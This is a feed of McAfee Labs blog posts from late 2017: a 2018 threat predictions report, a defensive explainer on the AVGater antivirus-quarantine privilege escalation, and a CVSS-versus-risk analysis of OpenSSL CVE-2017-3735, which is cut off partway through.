‘McAfee Labs 2018 Threats Predictions Report’ Previews Five Cybersecurity Trends https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2018-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2018-threats-predictions/#respond Wed, 29 Nov 2017 08:01:54 +0000 https://securingtomorrow.mcafee.com/?p=82594 Welcome to the McAfee Labs 2018 Threats Predictions Report. We find ourselves in a highly volatile stage of cybersecurity, with new devices, new risks, and new threats appearing every day. In this edition, we have polled thought leaders from McAfee Labs and the Office of the CTO. They offer their views on a wide range of threats, including machine learning, ransomware, serverless apps, and privacy issues.

The post ‘McAfee Labs 2018 Threats Predictions Report’ Previews Five Cybersecurity Trends appeared first on McAfee Blogs.

]]>
This report was written by members of McAfee Labs and the Office of the CTO.

Welcome to the McAfee Labs 2018 Threats Predictions Report. We find ourselves in a highly volatile stage of cybersecurity, with new devices, new risks, and new threats appearing every day. In this edition, we have polled thought leaders from McAfee Labs and the Office of the CTO. They offer their views on a wide range of threats, including machine learning, ransomware, serverless apps, and privacy issues.

The Adversarial Machine Learning Arms Race Revs Up
The rapid growth and damaging effects of new cyberthreats demand defenses that can detect new threats at machine speeds, increasing the emphasis on machine learning as a valuable security component. Unfortunately, machines will work for anyone, fueling an arms race in machine-supported actions from defenders and attackers. Human-machine teaming has tremendous potential to swing the advantage back to the defenders, and our job during the next few years is to make that happen. To do that, we will have to protect machine detection and correction models from disruption, while continuing to advance our defensive capabilities faster than our adversaries can ramp up their attacks.

Ransomware Pivots to New Targets, New Objectives
The profitability of traditional ransomware campaigns will decline as vendor defenses, user education, and industry strategies improve to counter them. Attackers will target less traditional, more profitable ransomware targets, including high net-worth individuals, connected devices, and businesses. This pivot from the traditional will see ransomware technologies applied beyond the objective of extorting individuals, to cyber sabotage and disruption of organizations. The drive among adversaries for greater damage, disruption, and the threat of greater financial impact will not only spawn new variations of cybercrime “business models,” but also begin to seriously drive the expansion of the cyber insurance market.

Serverless Apps: New Opportunities for Friend and Foe
Serverless apps can save time and reduce costs, but they can also increase the attack surface by introducing privilege escalation, application dependencies, and the vulnerable transfer of data across networks. Serverless apps enable greater granularity, such as faster billing for services. But they are vulnerable to attacks exploiting privilege escalation and application dependencies. They are also vulnerable to attacks on data in transit across a network. Function development and deployment processes must include the necessary security processes, and traffic that is appropriately protected by VPNs or encryption.

When Your Home Becomes the Ultimate Storefront
As connected devices fill your house, companies will have powerful incentives to observe what you are doing in your home, and probably learn more than you want to share. In 2018, McAfee predicts more examples of corporations exploring new ways to capture that data. They will consider the fines of getting caught to be the cost of doing business, and change the terms and conditions on your product or service to cover their lapses and liabilities. It is more difficult to protect yourself from these issues, and the next year will see a significant increase in breaches and discoveries of corporate malfeasance.

Inside Your Child’s Digital Backpack
Perhaps the most vulnerable in this changing world are our children. Although they face an amazing future of gadgets, services, and experiences, they also face tremendous risks to their privacy. We need to teach them how to pack their digital backpacks so that they can make the most of this future. The world is becoming very public, and though many of us seem to be OK with that, the consequences of an ill-considered post or thoughtless online activity can be life altering for years to come.

The Adversarial Machine Learning Arms Race Revs Up

Attackers and defenders work to out-innovate each other in AI

Human-machine teaming is becoming an essential part of cybersecurity, augmenting human judgment and decision making with machine speed and pattern recognition. Machine learning is already making significant contributions to security, helping to detect and correct vulnerabilities, identify suspicious behavior, and contain zero-day attacks.

During the next year, we predict an arms race. Adversaries will increase their use of machine learning to create attacks, experiment with combinations of machine learning and artificial intelligence (AI), and expand their efforts to discover and disrupt the machine learning models used by defenders. At some point during the year, we expect that researchers will reverse engineer an attack and show that it was driven by some form of machine learning. We already see black-box attacks that search for vulnerabilities and do not follow any previous model, making them difficult to detect. Attackers will increase their use of these tools, combining them in novel ways with each other and with their attack methods. Machine learning could help improve their social engineering—making phishing attacks more difficult to recognize—by harvesting and synthesizing more data than a human can. Or increase the effectiveness of using weak or stolen credentials on the growing number of connected devices. Or help attackers scan for vulnerabilities, boosting the speed of attacks and shortening the time from discovery to exploitation.

Whenever defenders come out with something new, the attackers try to learn as much about it as possible. Adversaries have been doing this for years with malware signatures and reputation systems, for example, and we expect them to do the same with the machine learning models. This will be a combination of probing from the outside to map the model, reading published research and public domain material, or trying to exploit an insider. The goal is evasion or poisoning. Once attackers think they have a reasonable recreation of a model, they will work to get past it, or to damage the model so that either their malware gets through or nothing gets through and the model is worthless.

On the defenders’ side, we will also combine machine learning, AI, and game theory to probe for vulnerabilities in both our software and the systems we protect, to plug holes before criminals can exploit them. Think of this as the next step beyond penetration testing, using the vast capacity and unique insights of machines to seek bugs and other exploitable weaknesses.

Because adversaries will attack the models, defenders will respond with layers of models—operating independently—at the endpoint, in the cloud, and in the data center. Each model has access to different inputs and is trained on different data sets, providing overlapping protections. Speaking of data, one of the biggest challenges in creating machine learning models is gathering data that is relevant and representative of the rapidly changing malware environment. We expect to see more progress in this area in the coming year, as researchers gain more experience with data sets and learn the effects of old or bad data, resulting in improved training methods and sensitivity testing.

The machines are rising. They will work with whoever feeds them data, connectivity, and electricity. Our job is to advance their capabilities faster than the attackers, and to protect our models from discovery and disruption. Working together, human-machine teaming shows great potential to swing the advantage back to the defenders.

Ransomware Pivots to New Targets, New Objectives

Swings from the traditional to new targets, technologies, tactics, and business models

McAfee sees an evolution in the nature and application of ransomware, one that we expect to continue through 2018 and beyond.

The good news about traditional ransomware. McAfee Labs saw total ransomware grow 56% over the past four quarters, but evidence from McAfee Advanced Threat Research indicates that the number of ransomware payments has declined over the last year.

Our researchers assert that the trend suggests a greater degree of success during the last 12 months by improved system backup efforts, free decryption tools, greater user and organizational awareness, and the collaborative actions of industry alliances such as NoMoreRansom.org and the Cyber Threat Alliance.

How cybercriminals are adjusting. These successes are forcing attackers to pivot to high-value ransomware targets, such as victims with the capacity to pay greater sums, and new devices lacking comparable vendor, industry, and educational action.

Targeting higher net-worth victims will continue the trend toward attacks that are more personal, using more sophisticated exploitation of social engineering techniques that deliver ransomware via spear phishing messages. These high-value targets will be attacked at their high-value endpoints, such as their increasingly expensive personal devices, including the latest generation of smart phones. Cloud backups on these devices have made them relatively free from traditional ransomware attacks. McAfee predicts that attackers will instead try to “brick” the phones, making them unusable unless a ransom payment is sent to restore them.

McAfee believes this pivot from the traditional is reflected in the slight decline in the number of overall ransomware families, as criminals shift to a smaller number of higher-value technologies and tactics, more talented purveyors of techniques, and more specialized, more capable ransomware-as-a-service providers.

New ransomware families discovered in 2017. On average, 20%‒30% per month of new samples are based on Hidden Tear ransomware code. Source: McAfee Labs.

The less sophisticated, mostly well-known, mostly predictable, one-to-many technology, tactics, and providers are simply failing to deliver the rewards to justify the investments, even modest ones.

If well-understood ransomware families survive and thrive, McAfee believes they will do so in the hands of trusted service providers that continue to establish themselves with more established, sophisticated backends, as is currently the case with the Locky family.

Where the digital impacts the physical. Every year, we read predictions about threats to our physical safety from security breaches of industrial systems in transportation, water, and power. We are also perennially entertained with creative depictions of physical threats brought about by the imminent hacking rampage of consumer devices, from the car to the coffeemaker.

McAfee resists the temptation to join the cybersecurity-vendor chorus line to warn you of the danger that lurks within your vacuum cleaner. But our researchers do foresee digital attacks impacting the physical world. Cybercriminals have an incentive to place ransomware on connected devices providing a high-value service or function to high-value individuals and organizations.

Rather than seize control of your grandmother’s automobile brakes as she drives along a winding mountain road, our researchers believe it more likely and more profitable for cybercriminals to apply ransomware to an important business executive’s car, preventing them from driving to work. We believe it more likely and more profitable for cybercriminals to place ransomware on a wealthy family’s thermostat in the dead of winter, than to set the homes of millions ablaze through their coffeemakers.

In these and other ways, we believe cybercriminals will see greater return in orchestrating digital attacks that physically impact individuals for profit, rather than fatal damage.

Beyond extortion to disruption and destruction. The WannaCry and NotPetya ransomware outbreaks foreshadow a trend of ransomware being applied in new ways, in pursuit of new objectives, becoming less about traditional ransomware extortion and more about outright system sabotage, disruption, and damage.

The WannaCry and NotPetya campaigns quickly infected large numbers of systems with ransomware, but without the payment or decryption capabilities necessary to unlock impacted systems. Although the exact objectives are still unclear, McAfee believes the attackers could have sought to blatantly disrupt or destroy huge networks of computers, or disrupt and distract IT security teams from identifying other attacks, in much the same way DDoS attacks have been used to obscure other real aspects of attacks. It is also possible that they represented spectacular proofs of concept, demonstrating their disruptive and destructive power, intending to engage large organizations with mega-extortion demands in the future.

In 2018, McAfee expects to see ransomware used in the manner of WannaCry and NotPetya. Ransomware-as-a-service providers will make such attacks available to countries, corporations, and other nonstate actors seeking to paralyze national, political, and business rivals in much the same way that NotPetya attackers knocked global IT systems out of commission at corporations around the world. We expect an increase in attacks intended to cause damage, whether by unscrupulous competitors or by criminals trying to mimic a mafia-style protection racket in cyber form.

Although this weaponization of ransomware at first seems to stretch the definition of the technology and tactical concept, consider the incentive of avoiding a WannaCry or NotPetya specific to your organization, complete with rapid, wormlike propagation and a demonstration of material disruption and damage, but with a demand for payment to make it all stop.

Of course, this raises the biggest, unavoidable ransomware question of 2017: Were WannaCry and NotPetya actually ransomware campaigns that failed in their objectives to make significant revenue? Or perhaps incredibly successful wiper campaigns?

Finally, McAfee predicts that these shifts in the nature and objectives of ransomware attacks, and their potential for real material financial impacts, will create an opportunity for insurance companies to extend their digital offerings with a range of ransomware insurance.

Serverless Apps: New Opportunities for Friend and Foe

This section was updated on December 11th.

Serverless apps attempt to match the security of a container or virtual machine

“Serverless” apps, the latest aspect of virtual computing, enable a new degree of abstraction in application development, by leveraging Functions as a Service (FaaS) for their computation requirements. Functions are billed only while they are executing, including sub-second billing (AWS Lambda charges per 100ms). Paying only for executing business logic, as opposed to running a full container or a virtual machine, can reduce costs by a factor of 10 for some operations. But what about the security of these function calls? They are vulnerable in traditional ways, such as privilege escalation and application dependencies, but also in new ways, such as traffic in transit and an increased attack surface.

Let’s start with the traditional vulnerabilities. Serverless apps that are quickly implemented or rapidly deployed can use an inappropriate privilege level, leaving the environment open to a privilege escalation attack. Achieving least privilege is more difficult with more components to protect, contain, and update. Similarly, the speed of deployment can result in a function depending on packages pulled from external repositories that are not under the organization’s control and have not been properly evaluated.

Then there are the new risks. Because serverless apps naturally scale and bill based on traffic, distributed denial of service attacks can more easily translate directly to the bottom line, depending on the number of simultaneous executions allowed by the application.

Another risk is data that may be leveraged by multiple functions to process a business transaction. Because a serverless application may include more components than prior application architectures, the data may be at more risk of interception or manipulation. Comprehensive and ubiquitous use of authentication and authorization between services and encryption of data both at rest and in transit should be leveraged.

We predict the increased granularity of serverless apps will lead to a comparable increase in the attack surface. More functions, transiting to one or more providers, means more area for an attacker to exploit or disrupt. Make sure your function development and deployment process includes the necessary security steps, and that traffic is appropriately protected by VPNs or encryption.

When Your Home Becomes the Ultimate Storefront

Without controls, you might surrender your privacy to corporate marketers

Corporate marketers have powerful incentives to observe and understand the buying needs and preferences of connected home device owners. Networked devices already transmit a significant amount of information without the knowledge of the overwhelming majority of consumers. Customers rarely read privacy agreements, and, knowing this, corporations are likely to be tempted to frequently change them after the devices and services are deployed to capture more information and monetize it.

In 2018, connected home device manufacturers and service providers will seek to overcome thin operating margins by gathering more of our personal data—with or without our agreement—as we practically surrender the home to become a corporate virtual store front.

With such dynamics in play, and with the technical capabilities already available to device makers, corporations could offer discounts on devices and services in return for the ability to monitor consumer behavior at the most personal level.

Rooms, devices, and apps are easily equipped with sensors and controls capable enough to inform corporate partners of the condition of home appliances, and bombard consumers with special upgrade and replacement offers.

It is already possible for children’s toys to monitor their behavior and suggest new toys and games for them, including upgrades for brand-name content subscriptions and online educational programs.

It is already possible for car manufacturers and their service centers to know the location of specific cars, and coordinate with owners calendars and personal assistants to manage and assist in the planning of their commutes. Coffee, food, and shopping stops could automatically be integrated into their schedules, based on their preferences and special offers from favorite food and beverage brands.

Whether this strikes you as a utopia for consumers and marketers, or a dystopian nightmare for privacy advocates, many aspects of these scenarios are close to reality.

Data collection from the current wide range of consumer devices and services is running far ahead of what most people believe.

Although there is certainly a legal argument that consumers have agreed to the collection of their data, even those of us technically knowledgeable to know this is taking place do not read the contracts that we agree to, and some corporations might change them after the fact or go beyond what they promise.

We have seen numerous examples of corporate malfeasance in recent years. A flashlight app developer’s license agreement did not disclose that the app gathered geolocation data. Three years ago, a video game hardware company pushed an update with no option to refuse; users had to agree to new terms or stop using the product they had purchased. In many agreements, users “agree” to all future changes that the company makes unilaterally to the terms: “Continued use of the service after any such changes shall constitute your consent to such changes.”

In July, the US Federal Bureau of Investigation warned parents to be wary of connected children’s toys that could be capable of collecting their children’s personally identifiable information.

Businesses will continue to seek to understand what and how consumers consume in the privacy of their homes, certainly requiring more user data than consumers will likely be comfortable sharing. McAfee asserts that a substantial number of corporations will break privacy laws, pay fines, and still continue such practices, thinking they can do so profitably. But the FBI’s recent toy warning to parents might suggest that such approaches could result in regulatory and even criminal legal consequences.

Next year will provide new examples of how well, and how badly, corporations are able to navigate the temptations and opportunities presented by connected homes.

We thank the Electronic Frontier Foundation for their assistance with this article.

Inside Your Child’s Digital Backpack

Protecting your children from corporate abuse of their user-generated content

It seems that every product, service, or experience we interact with today creates some type of digital record, whether or not we like it. As adults, we are gradually coming to terms with this effect and learning to manage our digital lives, but what about our children? Employers are already making hiring decisions influenced by search results. Could this extend to schools, health care, and governments? Will children be denied entry to a school because of how much time they spent binge-watching videos, or find it difficult to run for office because of a video made when they were seven?

Online information, or digital baggage, can be positive, negative, or neutral. As our children go on their increasingly digital journey through life, what are they packing for their trip? Likely, it will be a combination of mostly innocuous and trivial things, some positive and amazing ones that will help them on their journey, and some negative items that could weigh them down. Unfortunately, we predict that many future adults will suffer from negative digital baggage, even if it comes about without their intention.

As parents, our challenge is to help our children navigate this new world, in which they can be tracked almost from the moment of conception. Remember that story from 2012 about a girl who received coupons from a retailer for pregnancy-related items before she acknowledged that she was pregnant?

To help our children, we need to understand the kinds of digital artifacts that are being captured and stored. There are generally three types: explicit, implicit, and inadvertent.

Explicit content is all of those things that happen after you click the “I Agree” button on the terms and conditions or end user license agreement. Given recent breaches, it seems that anything stored online will at some point be hacked, so why not assume that from the beginning? If they really want to, a prospective employer may be able to find out what content you created, your social habits, and a host of other data points. This is an area that parents (at least initially) have a lot of control and influence over, and can teach and model good habits. Are you buying “M”-rated games for your 10-year-old, or letting your teens post videos without some oversight? Sadly, what happens online is not private, and there could eventually be consequences.

Implicit content is anything you do or say in an otherwise public place, which could be photographed, recorded, or somehow documented. This ranges from acting silly to drinking or taking drugs, but also includes what people say, post, tweet, etc. in public or online. We do not think that childlike behavior (by children) is going to be frequently or successfully used against people in the future, so we can still let our kids be kids.

Inadvertent content is the danger area. These are items that were intended to remain private, or were never expected to be captured. Unfortunately, inadvertent content is becoming increasingly common, as organizations of all types (accidentally or on purpose) bend and break their own privacy agreements in a quest to capture more about us. Whether with a toy, a tablet, a TV, a home speaker, or some other device, someone is capturing your child’s words and actions and sending them to the cloud. This is the most challenging part of the digital journey, and one that we must manage vigilantly. Pay attention to what you buy and install, turn off unnecessary features, and change the default passwords to something much stronger!

Our children face an amazing potential future, full of wonderful gadgets, supportive services, and amazing experiences. Let’s teach them at home to pack their digital backpacks so that they can make the most of it.

In the corporate world, McAfee predicts that the May 2018 implementation of the European Union’s General Data Protection Regulation (GDPR) could play an important role in setting ground rules on the handling of both consumer data and user-generated content in the years to come. The new regulatory regime impacts companies that either have a business presence in EU countries, or process the personal data of EU residents, meaning that companies from around the world will be compelled to adjust the way in which they process, store, and protect customers’ personal data. Forward-looking businesses can leverage this to set best practices that benefit customers using consumer appliances, content-generating app platforms, and the online cloud-based services behind them.

In this regard, the year 2018 may well best be remembered for whether consumers truly have the right to be forgotten.

To find out more about the data protection opportunity for businesses, visit McAfee’s GDPR site.

For more on how to protect your children from potential user-generated content abuse and other digital threats, please see McAfee’s blogs for guidance on parenting in the digital age.

Contributors

  • Christiaan Beek
  • Lisa Depew
  • Magi Diego
  • Daren Dunkel
  • Celeste Fralick
  • Paula Greve
  • Lynda Grindstaff
  • Steve Grobman
  • Kenneth Howard
  • Abhishek Karnik
  • Sherin Mathews
  • Jesse Michael
  • Raj Samani
  • Mickey Shkatov
  • Dan Sommer
  • Vincent Weafer
  • Eric Wuehler
  • Jonathan King

 

About McAfee Labs

McAfee Labs is one of the world’s leading sources for threat research, threat intelligence, and cybersecurity thought leadership. With data from millions of sensors across key threats vectors—file, web, message, and network—McAfee Labs delivers real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks.

To learn more about our predictions for 2018, register for our January 9th webcast.

The post ‘McAfee Labs 2018 Threats Predictions Report’ Previews Five Cybersecurity Trends appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2018-threats-predictions/feed/ 0
Should I Worry About AVGater, Which Exploits Some Security Products? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/should-i-worry-about-avgater-which-exploits-some-security-products/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/should-i-worry-about-avgater-which-exploits-some-security-products/#respond Tue, 28 Nov 2017 14:00:15 +0000 https://securingtomorrow.mcafee.com/?p=82779 This blog was written by Brook Schoenfield. On November 10, a researcher reported the vulnerability AVGater, which affects some antimalware products. The vulnerability allows a user without administrative privileges to restore a quarantined file in a user’s defined location. After internal reviews and with confirmation from the author of the blog, McAfee believes no McAfee […]

The post Should I Worry About AVGater, Which Exploits Some Security Products? appeared first on McAfee Blogs.

]]>
This blog was written by Brook Schoenfield.

On November 10, a researcher reported the vulnerability AVGater, which affects some antimalware products. The vulnerability allows a user without administrative privileges to restore a quarantined file in a user’s defined location.

After internal reviews and with confirmation from the author of the blog, McAfee believes no McAfee products are affected by the privilege escalation vulnerability described in the AVGater blog.

The mechanism that allows users to restore files from quarantine in McAfee products is either locked by default or is available only to users with administrative privileges, providing an additional layer of protection to our customers.

AVGater, as described by blog author Florian Bogner, is based upon antimalware products use of a permanent storage area (folder or directory) to contain software that the antimalware program has “convicted”—executables believed to be malicious. Once convicted, the malicious software must be placed somewhere where it cannot execute and cause (further) harm.

Why not just immediately delete convicted software? If files were summarily deleted, there would always be a chance the files had been incorrectly convicted and might be important to the user. Unfortunately, no software can be considered perfect.[i] False detections occasionally occur, even with the most comprehensive and accurate software. Placing files into “quarantine,” the reserved safe area, mitigates the potential for an accidental removal of users’ important files.

Because of the potential of false-positive malware conviction, nearly every endpoint protection program makes use of a “quarantine” location, where assessed bad files are placed before deletion, just in case there has been a mistake in the identification algorithms.

Researcher Bogner has uncovered a way that quarantined software can be restored to execute, potentially with a privilege escalation from user-level privileges to the Windows system user. He has named the technique AVGater.

Privilege escalation is a critical step in the path to the full compromise of an operating system. Although a user may not have permission to write executable software into directories reserved for the operating system, if an attacker can execute malware from one of Windows’ system directories, an attacker can begin to subvert or replace critical system software with malware. Full control of the operating system may be within reach by just a few, perhaps undetected, steps.

Privilege escalation to the level of the Windows’ system user is not an attacker’s ultimate exploit, but it is a significant step that provides attackers assistance toward their goals.

We live in a world in which techniques to get users to take a single step (click, save, open, view, read) is commonplace; there are thousands of spoofs, scams, confidence games, and social engineering techniques. If you live in the digital world, you have been exposed to many of these, maybe every day.

It is not hard to imagine that attackers, having gotten their software placed into AV quarantine, can execute subsequent software, perhaps through tricking users in some manner.

AVGater is not a straightforward attack. Successful quarantine removal and copying to a system directory must be proceeded by other steps for attackers to achieve their goals, whether controlling additional hosts for a botnet, gathering account information, or other ends. (See the section “AVGater technique,” below, for more information.)

Getting malware onto a Windows machine is relatively uncomplicated; it happens thousands of times every day. Tricking users to proceed is also well understood by attackers with varying levels of technical skill. Thus we believe that attacks based upon AVGater are credible, if not particularly straightforward.

AVGater has not yet been widely used by attackers. Nonetheless, it should be easy for a malware writer to drop detection defenses to force a conviction and quarantine of an attack. This step makes this attack noteworthy: Malware writers already know how to be identified by antimalware programs.

All of AVGater’s steps seem well within reasonable capabilities of competent attackers. Users whose security software is vulnerable should update to a patched version as soon as possible.

It is a poor idea to conduct day-to-day operations from the Windows administrator account. McAfee recommends that users start with a less privileged, user-level account and elevate to administrative privileges only for necessary operations and only for as long as needed to complete a task. Consumers should set up a nonadministrator account as the usual login.

McAfee® ePolicy Orchestrator® (McAfee ePO™) administrators should use the product’s capabilities to reduce the privileges that users need for common tasks, and thus reduce the privilege levels required by most users.

Always running with administrative privileges is a dangerous practice. One mistake can allow a complete compromise. Attackers do not need to go through the steps of AVGater or other privilege escalation. If attackers can execute some code as administrators, they can probably compromise Windows completely. AVGater does not lend attackers any additional advantage.

Users who recognize social engineering attacks will have an advantage in protecting themselves, because they are much less likely to accept suspicious software and fall for tricks that execute the secondary steps required in this attack.

As always, all users are advised to avoid public hotspots. If you must use one, be sure to make use of your company’s VPN services as soon as you join, or use some other VPN technology to conduct your online activities. Always disable unneeded services; do not leave file sharing on except for highly trusted networks; do not blindly accept files from untrusted sources, especially on unsecured and untrusted networks. We should always follow these safe computing practices irrespective of the latest attack technique or the state of our computing protections.

McAfee continues to investigate potential attack vectors related to AVGater. As of this writing, both McAfee and Florian Bogner have found no unmitigated paths through a McAfee product. If we discover additional information, we will update this post.

AVGater Technique

To promulgate this attack, the security software must identify an attacker-controlled program as malware, which will result in quarantine. The attacker must next switch the quarantined file for malware that will further the attack. Then the attacker must set up the necessary Windows file “junction” so that removing the file from quarantine also copies it into a directory with Windows system privileges.

Any number of tricks can convince at least some users into executing additional malicious software that removes the attack software from quarantine and, through the previously set-up file junction, places the software into a privileged directory. The attacker then must somehow execute the attack software from the joined system directory to proceed.

Attackers have developed numerous methods for avoiding or fooling attempts at conviction, while antimalware makers spend a significant proportion of their efforts identifying the attackers tricks so that malware will be accurately identified.

For malware writers to use this technique, they need obvious malware that will ensure conviction. Accompanying the “red herring” malware must be additional software that can hide its true intent (replace the quarantined item, set up file junction, induce the copying to system privileges, and execute the attacker’s code).

Compared with executing one or two steps against users who are running with administrative privileges, AVGater requires more steps, each of which must be executed successfully and in proper order. AVGater demands greater skill to include careful interactions between at least three steps, and at least one user-induced action. This scenario is credible, though more involved than other easy, repeatable attacks.

[i] Software can be proven to be incorrect, but it is difficult to prove it absolutely error free. Readers may wish to investigate Alan Turing’s “Turing’s Proof,” whose math is believed to prove that an automated process cannot prove that an automated process is correct.

The post Should I Worry About AVGater, Which Exploits Some Security Products? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/should-i-worry-about-avgater-which-exploits-some-security-products/feed/ 0
Don’t Substitute CVSS for Risk: Scoring System Inflates Importance of CVE-2017-3735 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dont-substitute-cvss-for-risk-scoring-system-inflates-importance-of-cve-2017-3735/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dont-substitute-cvss-for-risk-scoring-system-inflates-importance-of-cve-2017-3735/#respond Fri, 24 Nov 2017 14:00:57 +0000 https://securingtomorrow.mcafee.com/?p=82542 This blog was co-written by Brook Schoenfield and Damian Quiroga. I am a wry observer of vulnerability announcements. CVE-2017-3735—which can allow a small buffer overread in an X.509 certificate—presents an excellent example of the limitations of the Common Vulnerability Scoring System (CVSS). This scoring system is the de facto security industry standard for calculating and […]

The post Don’t Substitute CVSS for Risk: Scoring System Inflates Importance of CVE-2017-3735 appeared first on McAfee Blogs.

]]>
This blog was co-written by Brook Schoenfield and Damian Quiroga.

I am a wry observer of vulnerability announcements. CVE-2017-3735—which can allow a small buffer overread in an X.509 certificate—presents an excellent example of the limitations of the Common Vulnerability Scoring System (CVSS). This scoring system is the de facto security industry standard for calculating and exchanging information about the severity of vulnerabilities. The problem is that CVSS is used for far more than it was intended.

For many organizations, security tools, and risk assessments, a CVSS score has become the security industry’s shorthand substitute for risk scoring and impact rating. In fact, many organizations measure their ongoing risk posture by counting the number of unfixed vulnerabilities and their associated CVSS scores.

The McAfee Product Security Incident Response Team (PSIRT) uses CVSS Version 3.0 as an important tool to assess vulnerabilities. McAfee PSIRT augments CVSS with other risk analysis techniques, similar to Microsoft PSIRT’s Exploitability Index and Security Update Severity Rating System.

CVSS is useful, but must not be confused with deeper risk assessment. Strictly relying on CVSS for vulnerabilities such as OpenSSL’s CVE-2017-3735 is likely to cause incident responders to focus their organizations’ resources on patch cycles that may be unnecessary. In addition, PSIRT credibility and influence may be squandered on low-impact, low-probability issues. Due to the sheer volume of issues being discovered and reported, PSIRT must remain focused on those that have a high probability of exploitation and whose organizational impact or attacker value make them worthy of exploitation.

But as we shall see from the following analysis, a vulnerability itself, taken out of context, cannot be equated to risk. Furthermore, CVSS has an inherent problem in that the impact is averaged against the exploitability: From the attacker’s perspective, this is a mistake, because threat actors exploit vulnerabilities to suit their goals, not just because something is easy.

For those readers whose sole interest is assessing OpenSSL CVE-2017-3735, this issue, I believe, should be rated as a low to very low risk. Although easy to perform, exploitation does not offer an attacker much of value. The most likely impact will be cosmetic within a text display. Plus, the code in which CVE-2017-3735 occurs is not called from OpenSSL’s protocol and cryptographic functions,[1] but is rather confined to the display of an X.509 certificate, typically for users consumption. (Certificate display does not take place as a part of typical cryptographic functions.)

Taking either of the competing published CVSS scores for this vulnerability, 5 or 7.5, at face value is misleading. Without further analysis, one might be tempted to raise the risk from CVE-2017-3735 beyond its rather minor impact. That is why I decided to investigate further, including reading the offending module’s code on GitHub. The CVSS measure of CVE-2017-3735 provides a situation where accurate scoring does not match the likelihood of exploitation and increases the score above what a risk analysis would probably reach.

Although it is true that attackers must choose exploits that lie within their technological capabilities—namely, exploits that are easy enough to ensure success—the first concern will nearly always be, “What will the exercise of this vulnerability achieve for me?”

In other words, what matters is the impact or result from the exploitation that is key to choosing a particular attack, not its relative ease or difficulty. If a vulnerability advances the attacker’s goals, then it will be considered for use. If there is nothing to gain, the vulnerability will not be exploited.

Limits to CVSS

Attackers exploit vulnerabilities that further their goals: That is a key point when assessing the potential for harm of any vulnerability. In this analysis, we will take a closer look at CVE-2017-3735 for its potential value to attackers. Along the way, we will also examine some of the limitations of CVSS as it applies to this vulnerability.

I do not mean to assert that CVSS is not an important tool for assessing vulnerabilities. I have worked with CVSS since before Version 1 was published; CVSS is key to prioritizing initial responses to vulnerabilities as they are released. CVSS may comprise one component of a robust risk rating method or approach.

I like to characterize CVSS as “potential severity.” A CVSS score, when fairly calculated,[2] can indicate what any vulnerability might harm. CVSS scores are particularly useful for triage, before a deeper analysis.

The McAfee PSIRT makes use of CVSS as a core component of incident response, just as many organizations PSIRTs do. As a CVE Numbering Authority, McAfee PSIRT must calculate a CVSS score for every published vulnerability. In practice, nearly every potential issue is scored as a critical foundation of PSIRT’s robust risk assessment.

Still, despite the importance of CVSS to vulnerability triage, it is a mistake to confuse a CVSS score with a risk rating, as we shall see.

CVE-2017-3735 has had two competing CVSS scores published.[3] The difference is in the rating of the impact: Integrity = High or Integrity = Low, resulting in a combined score of either 7.5 or 5.3 (in CVSS Version 3.0). In either case, both scores earn the exploitability rating of 10, because the issue may be exploited over a network without authentication.

CVSS = 7.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

(From: https://nvd.nist.gov/vuln/detail/CVE-2017-3735)

CVSS = 5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

(From: https://nvd.nist.gov/vuln/detail/CVE-2017-3735)

How can there be two CVSS calculations? Why is one calculation High and one Low? Plus, is Integrity the correct impact parameter?

We can answer these questions by analyzing what the vulnerability allows.

The vulnerability is a buffer overread. An attacker may read one more byte from program memory than should be allowed. The attacker’s advantage of the unallowed access is directly related to where that extra byte exists. After looking at the code on GitHub, it appears all buffers in that module are allocated from program heap memory. Although running programs can exhibit macro patterns in their heap allocations and deallocations, generally, we can assume that any allocation may reside wherever it is convenient for the program memory manager to grab a piece of memory sufficiently large to support the request. This introduces an element of entropy (randomness) into any particular allocation. Each allocation may come from any portion of heap memory; there is no guarantee of a particular address.

Because a particular address cannot be guaranteed, an overread will get whatever bytes happen to be larger than that allocation’s required size.

Whichever data happen to be at that address is what the overread vulnerability will retrieve. Buffer overread exploitation can be a fishing expedition; there are no guarantees of the data retrieved, though there may be macro patterns in programs in which runtime processing is relatively consistent from run to run. The data returned depends on how lucky the attacker is. We saw the same situation in the Heartbleed overread vulnerability.

Just One Byte

For CVE-2017-3735, the overread is precisely a single byte. That is a very small payoff for the attacker, especially considering that there is no guarantee of what that byte might contain.

Furthermore, even if this were not an overread but rather an overflow (which it is not), a single byte is not enough space for malicious code to allow an attacker to exit to a command shell. A buffer overread does not allow an attacker to push code into a program heap. It allows an attacker only to retrieve data (a single byte) that the attacker should not have reached.

Although we may be surprised some day by a clever attacker’s ingenious use of a single byte, today we see no way that anyone can benefit.

If CVE-2017-3735 allows an attacker to retrieve only a single byte, then why have CVSS scorers used the Integrity impact rather than Confidentiality? Heartbleed, a heap buffer overread that returned nearly 64KB to the attacker, impacted Confidentiality. Attackers retrieved data they should not have been able to access. Yet CVE-2017-3735 has been scored on Integrity. There is a clue alongside the description.

Because I do not have access to the graph of code calls to the vulnerable IPAddressFamily routines, I cannot confirm the following educated guess. However, typical cryptographic and protocol implementations do not dump certificates to text; primarily users do. Which indicates that an attacker does not retrieve the extra byte. Instead, the extra byte is converted to text in the IPAddressFamily certificate extension’s human-readable dump. Thus the integrity of the text representation of an X.509 certificate has been impacted. With this understanding of the impact, scorers have used Integrity rather than Confidentiality.

If the attacker retrieves the text dump, is there a way to track back from various text irregularities to the value of the extra byte? I have not looked at a range of dumps to confirm or deny. Perhaps this is either not possible or not a productive approach.

If there is any way to retrieve the data byte, then the proper CVSS score would have to be Confidentiality = Low rather than None, which would increase the CVSS score to either 6.5 or 8.2, depending upon Integrity’s value, Low or High.

